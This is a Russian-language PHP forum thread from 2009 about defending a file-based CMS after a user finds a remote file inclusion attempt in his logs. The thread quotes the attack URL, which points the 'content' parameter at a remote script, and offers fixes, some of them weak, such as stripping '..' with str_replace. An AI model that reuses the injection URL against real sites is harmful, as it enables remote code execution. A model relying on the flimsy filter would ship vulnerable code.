Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Защита от взлома, помогите
 
 автор: FUNC   (11.01.2009 в 20:25)   письмо автору
 
 

Дело в том что в cms которой я пользуюсь в статьи хранятся впапке contents
и при сапросе вида site.ru/index.php?content=file
из папки content/file/index.php загружается статья.
Сейчас просмотрел логи и видел странное продолжение site.ru/index.php?content=http://xoomer.alice.it/lupalupa/a.txt?

Посмотрите данный эксплоид , увидите там скрипт -спамер.
Как можно защититься от такого?

  Ответить  
 
 автор: Trianon   (11.01.2009 в 20:44)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:25)
 

Можно, конечно. Сменить cms.

  Ответить  
 
 автор: xx7   (11.01.2009 в 20:45)
 
   для: FUNC   (11.01.2009 в 20:25)
 

Почему вообще в переменную $conten попадает что попало, и попадало-ли?
проверяйте на только цифры или буквы, и если дальше include() , вообще желательно применять проверку существования файла, можно исправить на readfile(), если там нечего интерпритировать.
Хотя наличие в логах не обязательно означает что это работало в вышеозначенной cms

  Ответить  
 
 автор: Саня   (11.01.2009 в 20:45)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:25)
 

Поможет смена CMS.

  Ответить  
 
 автор: FUNC   (11.01.2009 в 20:54)   письмо автору
 
   для: Саня   (11.01.2009 в 20:45)
 

>Поможет смена CMS.
Я пишу свою cms
Ну как вданный момент можно защититься от этого эксплоита. Уже 15 тыс. писем пришло на почту.

  Ответить  
 
 автор: Саня   (11.01.2009 в 21:15)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:54)
 

<?
$_GET
['content'] = str_replace(array("..""../""/../""/.."), ""$_GET['content']);
// соответственно в именах реальных файлов и папок не должно быть ".."

if ( !is_dir($_GET['content']) ) exit("DIE!!!");

Ещё не мешает защититься от такого "site.ru/index.php?content=../../../".

  Ответить  
 
 автор: BinLaden   (11.01.2009 в 21:33)   письмо автору
 
   для: Саня   (11.01.2009 в 21:15)
 

После удаления ".." в тексте не останется подстрок "../", "/../", "/..".

  Ответить  
 
 автор: Саня   (12.01.2009 в 10:18)   письмо автору
 
   для: BinLaden   (11.01.2009 в 21:33)
 

Тогда array("/../", "../", "/..", "..");

  Ответить  
 
 автор: Trianon   (11.01.2009 в 21:45)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:54)
 

Нужно проверять содержимое $_GET['content'] на принадлежность множеству имеющихся у Вас страниц. Перед тем, как использовать .

  Ответить  
 
 автор: FUNC   (12.01.2009 в 09:08)   письмо автору
 
   для: Trianon   (11.01.2009 в 21:45)
 

Тоесть имеешь ввиду проверять имеется ли такое название папки в каталоге content?

  Ответить  
 
 автор: assembler   (12.01.2009 в 10:10)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:54)
 

>Я пишу свою cms
>Ну как вданный момент можно защититься от этого эксплоита. Уже 15 тыс. писем пришло на почту.
странно... как же вы пишете свою cms, если не знаете как защититься от простейшей уязвимости?

забудьте про файлики. попробуйте http://ru.wikipedia.org/wiki/SQL

  Ответить  
 
 автор: AcidTrash   (11.01.2009 в 22:14)   письмо автору
 
   для: FUNC   (11.01.2009 в 20:25)
 

Странная CMS, контент на файлах? Раньше возможно и использовалась, или автор не знал, что такое БД.

  Ответить  
 
 автор: FUNC   (12.01.2009 в 09:09)   письмо автору
 
   для: AcidTrash   (11.01.2009 в 22:14)
 

Да на файлах.

  Ответить  
 
 автор: Николай2357   (12.01.2009 в 09:35)   письмо автору
 
   для: FUNC   (12.01.2009 в 09:09)
 

-

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования